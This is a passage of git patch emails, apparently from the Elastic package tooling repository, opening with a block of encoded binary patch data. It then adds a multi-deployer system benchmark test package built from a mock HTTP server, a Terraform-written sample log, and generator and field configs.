z{X`zU!%&dBo`jjYoqu+R`Q_k4`STYByf@QV>#7#)5&X`_6&>vF+fG?P6#iz$c=PUfwMUa zvFM>zSgR+i*u$6Uz5H#RLw8nRCMuooH+kdDGX42&YvtIEM*L(fOzq|dS|c% zb_od&4RB`UFY~ipDoWl0wB%~fqld||*IY2NovIes>!Vir-W>7y06f$weT21iDjA5c}ESiE-R>(y=d>&y-VK( z9v0SP?z}(RU3BGVxsw1{2o_fz($XLv9bdY56pc2oD2J)kx2Sn7aj(4|a4X%G5(=A8 zYq)hU$%S|5j#k+@aib6d9>d{f*|VCuJvx{m=Juy{LQF!$TBfJcl(SdWC3B;lnq=h0 z{M`oItHa~{5^-g0AvL=e;y1bbB%#E9>9hC?3rJ16`|*5@>rS6A3H6^#L?xsGp3u3H z7Hhk)c}iJGd4I}&iCsBh=OzwA%K(w2m$FzCrC*E3pD}3EeZV2{=ReO&b>2d?wmVw=lvs-{Iipt zz4yDGwbt{j!kNunvNL*gcYv;21=vQK%i83*j|Dw+Z;ThL$db9RyAsSV^Q39{qou1F zRs{8cGSN2xH}Y2*949VLu@koTH%ZR|ub0M*U$%u_IuY}@uCWV_5l>8} zKfX`-(O1Mqg~VW@0$2hx5L>j+6!EK98O_83M3Zwl$Z=wiWYlgi>EcOa2}Np0na7++ z1o?CdynALsTm{a){`I7bxSM8Z+;8Fyu^%DlAd$hjr$QYpdo9y(rw!Bq2q}>e6>=ST zS_TYkD=UTS!fZZHKU|c(``!Fhv}F7f(WHe;7L~K4e!gu%HLU3IIGj&2gXrFe7MVne zk}I2%nUfLB8B*OKrF%jnsHVkE2zBQBH_yRF@y8^{9gjn{X zwxok~`nXKkRW!xcl|`I|U`7eMJhqib-Ccg8u3R6V1&3U;{b1AuF|zjhc|L6Gi>9`Q zvU``rxuXg?wA$B2d`2T9NhA?JyKkhj&CuM`@PhPCtMO`$CGpNsz>4d(_OtX$2XG*< z1Sv}D?*lo@JsX-tZYk;}l{=ffHrITk(wj#^tnrc>F{=)y)^#d>{{P(jaL`RX?v-D) z9q!clbBP2rGX+9$26@H1l!qy^pA^?btEcDVGYQ;D3az2H#gpbbolEmU?cA#As0^j% zM+t+cEozU4s-E?}6>=X@ku+L@&Nwc`pVawV4qcym$@At@Z?t|8R{W^`cXct>&o=p9 z$Vs5O3yi-m^nVlub7|tf_sz-diI~;phj{59Yiwt>O~qyskEa*a8^Cs;74Q!39b-hs zigL0+pJ{BAPpx7cTOZBcbH3mD>B;D@Lu;028o<6=gw#Ompe_NaHArpCakTpJm&2Rh z5!e#%M|rOK6 zEDBa<@}Bs!*;Yhz=sdVnL_Oec{I(!R*NkcEgbWw6q0;RMRt!vIHP-1_2V(afWSdp8Mwps zd4&D79(p--DdVLVUNo6 z@HAUZ^)mFMO8I*q0}Wt?q#WU0LXDwrmsdK=w5I!|U0LzLg$Hl#{)XHJ)em4=miIf zdXgp;7k?~{9CG@qEV+k?r0Ht-`9lL>eV$&dioLCmwdhGT>U6QF=w-MVGLozs2UdcB z?aG#eZ9_nd);Kq&`E_hvr_I+Vw&E|j;p*tmVa=5^DZpaR?G7K&<;}Ppv(QjTuv6Aj zkh~`6CfAQ+VY}`sOOvUX12FG1_iLF(&89}w8^C`m>&n6R-X|T9tJbcocb^a#3|@2k`tzNT<%{|L;y+s;b|L?Zn}GaZ zxQS{o|C=-hBBFlBz8Ig#ks612+ZRR#EW22u-*vqY|HX${P25b6}{DG!DG3%aav*b zGp35UHus~hbxFv5pwRfHR31eF4_~rng~)I;h;g(AD}tlNW?T9UPP825>gme}HivN` zeaFAEN69`)nsX*7WdsITFPEVH7HiwMMotnGozsduX$~kiN@5b0lP&>tlA^%hKoV{R zK;?1hF;|w5!+aU3^&a;PdY`-Jqi)^j&qVfFq4V0;TBt5h-U9Po2C9^REOK?lW>XZx zsR0&wue=~>`nJr2MD&eI*(bhrTl46_4^n2(0>BRvq}$w`WL{f^ymkj@cq`ix_HT9~ z1|j{jww=I&Hx=Ujz^t?3QVqthG8jV{fB#DQOQJqVl<{AHjNZ?T6yv$H;~-O*8yAt$ z2PfL$!Ax)CG9=H~wP}?53cIhsC(M^etU*DKng>nyz7I$^U9V;c>|c|Kd6T8xjUZ|p z0^PM6XtuU5p~YvAE%-{YmP3j5fOD-}H?Nw#J(o$%Hj%mT_X$JgslW2Q;I$Mj*kMC6 zk?(@U5z`Zw|8DB(X%^IT`A$a%biU9jwYfOkvwEY8r|ik{mYeA;BXXxJ)jS+_)Tw7y zhAilRN)~AJTRxq7XNqT#U0?b&+yT;fM)}n{2`hg2*V}F!XG-6EGCC~6d(r}b9!sZM zXLP|iQ10aREuP)=d8?eW4q#h;@;=3 z;7v9Kmc#QWvHFuu{_a*sSx_H8PR<+K&BgqhuvfLqPB~uwq2&Ww476$y`Ir44CCdi{ zHe)vrzeXb*Qm=Qul$~03P&xVo}|F`xKfgV#)b5zL6P*gBjt|gYP4%wM`py?hyA+`4>!|m3qpI?lO!9s~N>cDG7QJk9ooUzVI3$ zUp@}hg#-z3j#cXQx9mK7y;`xNu=a#5Q`UsxyE^9-)c4Qvun5!6;x3}KP>MiS<*y>) zaRbfcuMsA*s{2EtX(G}jNBh#&Nh#Sk7dxAJ3@6jN;{L|Se`h!@wlITl;0Q*z>LPlfNTj(TgYbo}Pc55? zp%YRN0@upDEN_7<#oAMiGpm(3&p!0T266_`LZSyMQCGp#GZ^$prRBX3jtk9aLKB-u z<~t5?lQbv}b9#-CzoJ zGaH+5c=RS^5$I`Olno5dj+a)jW5}$zrk?OOwP%SJEkjp4dWmKLP8&VFnbBLM-{z-l zez%vqpz7_A{oN%L&SVa zy*(j^aUK)Z=BasN&|3>9QvZz^K|lWzXHw9 zruHZ9cLK)y&)?>J-jLwIv*lcV#!)$$1WnBkCuGFIg+S?N!pbMYx#j7$oykmxA!$Y0 z=MU7+Ez9X@m?;WaOAFR&8NM5=a?^UZnrU>#^r%%&Kg1xh3drk{xJc=L+F=&N-dsQ~ zv>lO}cvWY)?eVfEZOvH4&}4`i{u1>jYbW2bFG|n~n6E>z=J%|R*^O(YMg@qzx*1h; zIO>)(!Xb)w&pOar);TS9768GG9I!@{qw9k1`)8Zl_2X{VS2=M&9HzX|lOsKydyw7J(8+4uBl$!rf;iyH?&I6Zc>Z`t+? zOl##Z*ETsS*E>;ROjWg=oQ{&e3bj~K84muPqW)S6m~q?}PeW%ea3wZnw3{kZ)nN^}I;NyOd%&FAX2D z_(?3!%aN*5umTn2RBBwfx2~-_5O^AXp|-`teNB&JWFpDwFvsGkP49}__&!1irBBU^ zqeE&(#I#(_Pt}}?2$Pc@%noBiRg|9McXi_aJQ!Ym!E0{K{&F|uueN=-Ap@1!SCWMH>zLNWo%lwEJo*JuN zG0n5P8&88|zSB)HYdF5M%cK-|Lb@k(MA7C0@QNnvBcWh^SXh)+WrF;uA{^j4{;;uC zBK%#wd>yIi!g<1m>*S%-#zED%o*HHF581MJ=?pTlyG&E9>{q^A$=PT>-wD$sYN|cs zvlncJ11D~_$n)=>-qNAnasuW_#~CDXM0b%Q5MH|oB${+i zyenhD7lW_A`KOpTeb|p*5{dR&5(FB?Ratx%r6*mnFYeQlRJTjw?1!YeY>cj43b=fh zuQ`xKY>Cci(p$tM!9dY^5)_2c!bFpg)b}isogMCjl#Th7n2@#mQ!HXU8^C4RN1JR% z0${%7Nzm2!-*$?g{IAddm1LP{F#it&OCtRaNSwfl@VVkW-d!lBBMrC3*%(zIvG_pu zd#A5YNpt+Rinv>ftjhMPLRH0pOc4WPw)tb#B)ZPQ5^xJj&Nv z4>wTnIBM_ESH_l+5iBSjYB}gyd^aGqh%D;qM&sAIi?!@q+IG?}vOI7rxH{x7HpNLS z?|1NehKA5NsO3*pS95O8U}ceRXLN#8a-%Qg&0Lxll+j6}~xMmg^J}-T}iK^97g3_nRryNV(1KivZHS1XMM#oge$CIAqv_I%WQ?MJ1 zjf3UXll&i&uuACin?=cVLa&`FCF7wAUg4v-1$$}wvY3b^Ab;FWYUiBm;pF@_#+3ev zlxAX^+Dmb|LeR&|b-eoXE#X|ox984V{h#f0?k4*HA8SFqTS=V2?7wn25 zxQ;mgQ+8prx9BkVJWkZ z(H>R{nvHmoZ&enQ7rHkG?E+R}6_)xr6X86X^>GvOeU?PfJa&2}|LdtOlA~MJXI zHg(6b@7lv9EjN(2%_I#qCZ#7;4k0&>zrY3QAtgW#9?E3Eiuc#f=y)Joq&qaVr>x-y$z{CIKsfx=Ix@(4{2yvcgiw7=f?KX|;sjOw^Wpl#q?(MUz3Z7{~Oo zq>OR2?C~T~KDHx79DaUHIShr*eSAu- zPrz*P_7<~7dmz}5h}+F=Gp4+{Ul}F_LvGx0ilpV3#vA%5mxGFR%i7N{NSh&^USZ*J3FCxVY?TveZC>t*)g4 z?8dDStz~z$t#4x>6;@=^8S~RX`ClL!%?g|nZqMgX!<)wuorH!ZGg60vVVxJ33s#R0|&h^%5jS(C%R+fF0AQmtzA3Rv` zI&HXQ4t5?Y3oG@V#x;y>j+7${Suy>+wGzfDHhOc;PQL0_YdCLzxso;S!?=j8IciY$ z55P*I$6~+Bg^CKI(UF0cp zjWylMeIN*CVSn2#@g`IL<$9TO^Jgv|yYGxlFy@}u8NA1H2BKe%rNPEBi8PQ=;|B5w zSV+;LP}7mrg1q17?}?+?f%7pbLMM!~icddEZQ{;W!}-X<0UyL%+bz_JJ@sV5P6DRo z^P!lXI7Qlp(wVr`P2Dh>d><_KodMR@_sv*y9S(j9 z8e{?&XvV>|_wqgRsyp zXwIkT!qh{7CCl9J@`G8ExL0CU=NG{cL(7+M7*@!3DY`g7&MRiC&Tb^dl27Jg+UN7c zsaeI}=Vpk}l-qzC^kZU*dMd5DR;Isy0UGcG`FlC*x5i(o!r1K@{YCtWOL8c6%nD!+ zFJGARJ&4e7*ed%*Fc^vU-b^~S5NiIp>Q;JDc(yn2d@C^Zw!R+*kD0y_HML!HD7`V$ zlEp_;PWuodqV&n1ws63}@N+$KX0#adTpguLwd<)T27FO3kJCi{&fvQ84}(B*O@^FF z4y{MP{X;a`iIyDg!3{|Zg(l-L5=}#5=*!dZo5#IgZ*qH!sJO;|oShY_7Ue%?~|i!yX`Eb;QI(&>4sz(u}aZhgZsO&c<900OcPZ2c;vuE zl`^tlpVT4mPd1m@vn{a5QuW_{^jYOrNCh%gl2zr)LZJ0i_%#qfzoV#L2i#AmqNUca znD4~y!y8%Ml^Cs>JNNE6oL~nX0}r}SBux63go`oBoK+yc`BXryK1imNcc-R7jPfid z>37J*T#f9Ccp{(F#_d+qZq*C7(i&7I_JS=qPMjqKW4VqeBqV@ha`jGP#Nv}0K(x=6 zixr&clyCx}KT;_pT>Db&W{Qa(hmP=VQ_wl80cSs6`nrJp(C;OHqil;>vciIkZuwFd znDeLgmzfG!rTs~{7T-|I!dTUH5w9eue@5&TXxv(ge zP-k4#lO*CeW5#RG-P-t&lBsBaeGXM#puQUfV1lW7_v!(d)u)Ee#;-NgKe&jQwZWq` zMmM%{(*ixhthCZGMl%P$DB&p@XZAA^Bu-Nk(*h)0XcqNe?|r(k>3V&Z3R^9?dj;<5 zGA<8RMUx#6n;EARsk#U8pRDgF6?3Ubd-V?w7Tv#X`9`TX%G{8~N}M-zr>2{_na&>z zyubu&_Tp#d{J>jA{^dg|g5S@JiZ+a1 zvFkyzj$`G$;h5%EoV{Z_#&z&@7rwUk-I{kuC4YBb4L`O!4Xf<&E&Ob-kemV9ckHbh z=<08j_CE}6nq$YgLoU-M_bO(}JiRO&=HSL(x3MM}1>+XhzRtfc?@!pxSN3lhh(;4x z4`QhqPdfZ6mkdeJlSCgX{;h+>baj+g30Lm-*ClN0t>+^7x}84w6?2@zF+sh<0pa() zGZDq{bi)!b-qWYKW#ZM^go@i^#@_UAe*>~~-7`qrEI#yb(#|R5(h6ZMF|Na|iVg+x z-urx2nhESpn73}sls>n+8rZ^o@oJX>a#gF#E*@}RR+d{jsEsUyICW4%!GJrn?^J=# z$cxXhWf8Zy<|~Zu=(S#o7oJbB3T}m5FJmFevJ6xxT-Xinl=bvkLPR*cFI?E1%3$fc zO}G)55)$e^HqzGK;g4$<7x5jO(SJZ&W`0M7^}EPY1^Wu-hYBTCY?ts?%+u(Zj*fGL z*G{G%HVq=1MYBy;dGOvgM|l{38x>Ua@{OrF%n@tP73znt`=SGSzi!8Akwu*{7=K|frk|DbqVN$mXT;8l0FaQRl0 zHpS#AxECwT_n?K4D-*wGiTAc;vS34!qGhdxhXHQtmJBDJ#4~Wp3ntfqO1@XhqOV?N za~5ptvChM`!7XgwZ%S)~rTAC^QSaOM@q^>BVwI!ZY-j&9cvD>>)%_j?T?fjQiu#QB z>3rp_>B=PMebI!Lv{kk1%kk+t+(wNjg~0J1V$idwtF55aBL1t$z%4-K_YONjM(!>y zbhy-*gZ?^q&pABOt`21cJ|cNhd{i`sG-5PkJ+ZB)Tm9G0HbjPk9rCehZsRFuJEKRr zq4-@Hfj`Vkj&_ClUouO3|H+bb);Z~mM^l)cniCA9(@jLV^o{-UDyDkA;@za4+jy6k z73PPxFYU~ZiALC`V18jf}fq!bPpb@I#YB1+# z=5J^BMnVXSS|5(Gv4XR{#Mf;a66YtCn*6=&IZ#9X0^tSjI{|i~A0?G1yrqHaIn-?a z?}Co!3d9MsNB$La-ZfZOT?3aN&ubIk-SK{1xkyE{x$H02?U2XUkK%#cW!y=+=oh-? z3hv4A`Oa2q=ys($e+{gvfJA0`9iM5={on>$x$Kk?+lsJa#<*oIIvC{#s8aHlP4J%$ z6i|xTJUsUN*R|#xScl_Z6=+kwiT!HYyQ~EnyX03dZ&bBHv1HJ$~bw?o1rSLeb+4ew^(ICDWgE3l-3^2~;On3IeH-jiUq!$IG9sZw-Y7>u!>V1l&du`FAzd;FO z_h_aYFN##Cs(97Jy!@XNbjFp(+hvpcqOdsodaE-l*~AlpEO*3)yEulOO=*}OlqC?d zjF=nhT?EZx-S<4l^$e^0UgX~*sxO)aw_)NZ+-`pz-Mx%gVCaft!voEko@OSjChT&P zpwS9SgMsVPzl~NcSuIB;2Z%=Z`Qd)lOubzukby4-8J{@( zF{qz!scxxmj{Qyk3n4E4ZziifXK*Ia*>x8!3c7@pCfzHN7{9%PDps`}pR?VaAABW? zP-=m6SgWF|smmNKFK^)San}jsI#exMwf*kp?~SmA%yboSQt*WJQ4&I z;OM2F(LLoa^oI<-ylurL7V%GZ@Gc)g@gle+O-{arxyOqSYODDD+KaWka#1}U=q;xk zxXp^X@sb$uRQ&%M;MTFU!rAMuND}N>;zPlv%S>xK^xr$Va9-N(7;KGI{Zsa`)bDuW JEW Date: Thu, 19 Mar 2026 12:59:40 +0530 Subject: [PATCH 04/19] update format version to latest --- .../benchmarks/system_benchmark_crowdstrike/manifest.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/manifest.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/manifest.yml index 454b43658e..537a611347 100644 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/manifest.yml +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/manifest.yml @@ -3,7 +3,7 @@ title: CrowdStrike version: "3.5.0" description: Collect logs from Crowdstrike with Elastic Agent. type: integration -format_version: "3.4.0" +format_version: "3.5.8" categories: [security, edr_xdr] conditions: kibana: From 06d6007be42c8b8c696002936d7c30fc1d0042e5 Mon Sep 17 00:00:00 2001 From: kcreddy Date: Thu, 19 Mar 2026 16:41:19 +0530 Subject: [PATCH 05/19] test: add system_benchmark_multi_deployer test package MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Adds a benchmark test package that exercises both the `docker` and `tf` service deployers in the system benchmark runner within a single package: - `httpjson` data stream: `deployer: docker` — runs a mock HTTP server (stream image) serving generated JSON events, collected via httpjson input. - `logfile` data stream: `deployer: tf` — uses the Terraform `local` provider to write a sample log file, collected via filestream input. No cloud credentials required, making it safe to run in standard CI. --- .../system/deploy/docker/docker-compose.yml | 16 ++++++++ .../system/deploy/docker/files/config.yml | 20 ++++++++++ .../_dev/benchmark/system/deploy/tf/env.yml | 5 +++ .../system/deploy/tf/files/sample.log | 20 ++++++++++ .../_dev/benchmark/system/deploy/tf/main.tf | 5 +++ .../benchmark/system/deploy/tf/variables.tf | 26 +++++++++++++ .../benchmark/system/docker-benchmark.yml | 23 +++++++++++ .../system/docker-benchmark/config.yml | 16 ++++++++ .../system/docker-benchmark/fields.yml | 8 ++++ .../system/docker-benchmark/template.ndjson | 1 + .../_dev/benchmark/system/tf-benchmark.yml | 20 ++++++++++ .../benchmark/system/tf-benchmark/config.yml | 39 +++++++++++++++++++ .../benchmark/system/tf-benchmark/fields.yml | 18 +++++++++ .../system/tf-benchmark/template.log | 1 + .../_dev/build/build.yml | 3 ++ .../_dev/build/docs/README.md | 6 +++ .../changelog.yml | 5 +++ .../httpjson/agent/stream/httpjson.yml.hbs | 12 ++++++ .../elasticsearch/ingest_pipeline/default.yml | 21 ++++++++++ .../httpjson/fields/base-fields.yml | 20 ++++++++++ .../data_stream/httpjson/fields/fields.yml | 15 +++++++ .../data_stream/httpjson/manifest.yml | 34 ++++++++++++++++ .../logfile/agent/stream/filestream.yml.hbs | 4 ++ .../elasticsearch/ingest_pipeline/default.yml | 21 ++++++++++ .../logfile/fields/base-fields.yml | 29 ++++++++++++++ .../data_stream/logfile/fields/fields.yml | 6 +++ .../data_stream/logfile/manifest.yml | 31 +++++++++++++++ .../docs/README.md | 6 +++ .../manifest.yml | 24 ++++++++++++ 29 files changed, 455 insertions(+) create mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/docker/docker-compose.yml create mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/docker/files/config.yml create mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/tf/env.yml create mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/tf/files/sample.log create mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/tf/main.tf create mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/tf/variables.tf create mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark.yml create mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/config.yml create mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/fields.yml create mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/template.ndjson create mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/tf-benchmark.yml create mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/tf-benchmark/config.yml create mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/tf-benchmark/fields.yml create mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/tf-benchmark/template.log create mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/_dev/build/build.yml create mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/_dev/build/docs/README.md create mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/changelog.yml create mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/agent/stream/httpjson.yml.hbs create mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/elasticsearch/ingest_pipeline/default.yml create mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/fields/base-fields.yml create mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/fields/fields.yml create mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/httpjson/manifest.yml create mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/agent/stream/filestream.yml.hbs create mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/elasticsearch/ingest_pipeline/default.yml create mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/fields/base-fields.yml create mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/fields/fields.yml create mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/data_stream/logfile/manifest.yml create mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/docs/README.md create mode 100644 test/packages/benchmarks/system_benchmark_multi_deployer/manifest.yml diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/docker/docker-compose.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/docker/docker-compose.yml new file mode 100644 index 0000000000..c8284a87bf --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/docker/docker-compose.yml @@ -0,0 +1,16 @@ +version: "2.3" +services: + multi_deployer_httpjson: + image: docker.elastic.co/observability/stream:v0.20.0 + hostname: multi_deployer_httpjson + ports: + - 8080 + volumes: + - ./files:/files:ro + - ${SERVICE_LOGS_DIR}:/var/log + environment: + PORT: "8080" + command: + - http-server + - --addr=:8080 + - --config=/files/config.yml diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/docker/files/config.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/docker/files/config.yml new file mode 100644 index 0000000000..34a8e609ca --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/docker/files/config.yml @@ -0,0 +1,20 @@ +rules: + - path: /events + methods: ["GET"] + responses: + - status_code: 200 + headers: + Content-Type: + - application/json + body: |- + { + "data": [ + {{/* Comma is added at the end of each line inside the template to preserve JSON format */}} + {{- $g := glob "/var/log/corpus-*" -}} + {{- range $g -}} + {{- file . -}} + {{- end -}} + {{/* A last line of hard-coded data is required to properly close the JSON body */}} + {"id":"placeholder","severity":"low","status":"open","source_ip":"1.2.3.4","@timestamp":"2024-01-01T00:00:00Z"} + ] + } diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/tf/env.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/tf/env.yml new file mode 100644 index 0000000000..1200994302 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/tf/env.yml @@ -0,0 +1,5 @@ +version: '2.3' +services: + terraform: + environment: + - TEST_RUN_ID=${TEST_RUN_ID} diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/tf/files/sample.log b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/tf/files/sample.log new file mode 100644 index 0000000000..7d51ddc5d6 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/tf/files/sample.log @@ -0,0 +1,20 @@ +1.2.3.4 - - [15/Jan/2024:10:20:30 +0000] "GET /index.html HTTP/1.1" 200 512 "-" "benchmark-client/1.0" +5.6.7.8 - - [15/Jan/2024:10:20:31 +0000] "GET /api/v1/data HTTP/1.1" 200 1024 "-" "benchmark-client/1.0" +9.10.11.12 - - [15/Jan/2024:10:20:32 +0000] "POST /api/v1/events HTTP/1.1" 201 256 "-" "benchmark-client/1.0" +13.14.15.16 - - [15/Jan/2024:10:20:33 +0000] "GET /health HTTP/1.1" 200 64 "-" "benchmark-client/1.0" +17.18.19.20 - - [15/Jan/2024:10:20:34 +0000] "GET /metrics HTTP/1.1" 200 2048 "-" "benchmark-client/1.0" +21.22.23.24 - - [15/Jan/2024:10:20:35 +0000] "GET /index.html HTTP/1.1" 404 128 "-" "benchmark-client/1.0" +25.26.27.28 - - [15/Jan/2024:10:20:36 +0000] "GET /api/v1/data HTTP/1.1" 400 64 "-" "benchmark-client/1.0" +29.30.31.32 - - [15/Jan/2024:10:20:37 +0000] "GET /index.html HTTP/1.1" 200 512 "-" "benchmark-client/1.0" +33.34.35.36 - - [15/Jan/2024:10:20:38 +0000] "DELETE /api/v1/item/1 HTTP/1.1" 204 0 "-" "benchmark-client/1.0" +37.38.39.40 - - [15/Jan/2024:10:20:39 +0000] "GET /api/v1/status HTTP/1.1" 200 128 "-" "benchmark-client/1.0" +41.42.43.44 - - [15/Jan/2024:10:20:40 +0000] "GET /index.html HTTP/1.1" 200 512 "-" "benchmark-client/1.0" +45.46.47.48 - - [15/Jan/2024:10:20:41 +0000] "PUT /api/v1/item/2 HTTP/1.1" 200 256 "-" "benchmark-client/1.0" +49.50.51.52 - - [15/Jan/2024:10:20:42 +0000] "GET /favicon.ico HTTP/1.1" 404 32 "-" "benchmark-client/1.0" +53.54.55.56 - - [15/Jan/2024:10:20:43 +0000] "GET /api/v1/data HTTP/1.1" 200 1024 "-" "benchmark-client/1.0" +57.58.59.60 - - [15/Jan/2024:10:20:44 +0000] "POST /api/v1/events HTTP/1.1" 201 256 "-" "benchmark-client/1.0" +61.62.63.64 - - [15/Jan/2024:10:20:45 +0000] "GET /health HTTP/1.1" 200 64 "-" "benchmark-client/1.0" +65.66.67.68 - - [15/Jan/2024:10:20:46 +0000] "GET /metrics HTTP/1.1" 200 2048 "-" "benchmark-client/1.0" +69.70.71.72 - - [15/Jan/2024:10:20:47 +0000] "GET /index.html HTTP/1.1" 200 512 "-" "benchmark-client/1.0" +73.74.75.76 - - [15/Jan/2024:10:20:48 +0000] "GET /api/v1/data HTTP/1.1" 200 1024 "-" "benchmark-client/1.0" +77.78.79.80 - - [15/Jan/2024:10:20:49 +0000] "GET /index.html HTTP/1.1" 200 512 "-" "benchmark-client/1.0" diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/tf/main.tf b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/tf/main.tf new file mode 100644 index 0000000000..48d10519f0 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/tf/main.tf @@ -0,0 +1,5 @@ +resource "local_file" "benchmark_log" { + source = "./files/sample.log" + filename = "/tmp/service_logs/tf-benchmark-${var.TEST_RUN_ID}.log" + file_permission = "0777" +} diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/tf/variables.tf b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/tf/variables.tf new file mode 100644 index 0000000000..32d90dee64 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/deploy/tf/variables.tf @@ -0,0 +1,26 @@ +variable "BRANCH" { + description = "Branch name or pull request for tagging purposes" + default = "unknown-branch" +} + +variable "BUILD_ID" { + description = "Build ID in the CI for tagging purposes" + default = "unknown-build" +} + +variable "CREATED_DATE" { + description = "Creation date in epoch time for tagging purposes" + default = "unknown-date" +} + +variable "ENVIRONMENT" { + default = "unknown-environment" +} + +variable "REPO" { + default = "unknown-repo-name" +} + +variable "TEST_RUN_ID" { + default = "detached" +} diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark.yml new file mode 100644 index 0000000000..3ac4c780cd --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark.yml @@ -0,0 +1,23 @@ +--- +description: Benchmark events ingested via docker deployer (httpjson input) +input: httpjson +deployer: docker +vars: + url: http://{{Hostname}}:{{Port}} +data_stream: + name: httpjson + vars: + interval: 1s +warmup_time_period: 2s +corpora: + input_service: + name: multi_deployer_httpjson + generator: + total_events: 1000 + template: + path: ./docker-benchmark/template.ndjson + type: gotext + config: + path: ./docker-benchmark/config.yml + fields: + path: ./docker-benchmark/fields.yml diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/config.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/config.yml new file mode 100644 index 0000000000..fdf8edca15 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/config.yml @@ -0,0 +1,16 @@ +fields: + - name: severity + enum: + - low + - medium + - high + - critical + - name: status + enum: + - open + - closed + - in_progress + - name: source_ip + cardinality: 1000 + - name: event_id + cardinality: 100000 diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/fields.yml b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/fields.yml new file mode 100644 index 0000000000..7bb08ba905 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/fields.yml @@ -0,0 +1,8 @@ +- name: event_id + type: keyword +- name: severity + type: keyword +- name: status + type: keyword +- name: source_ip + type: ip diff --git a/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/template.ndjson b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/template.ndjson new file mode 100644 index 0000000000..b67f1e8658 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_multi_deployer/_dev/benchmark/system/docker-benchmark/template.ndjson @@ -0,0 +1 @@ +{"id":"{{.event_id}}","severity":"{{.severity}}","status":"{{.status}}","source_ip":"{{.source_ip}}","@timestamp":"2024-01-01T00:00:00Z"}, \ No newline at end of file diff --git 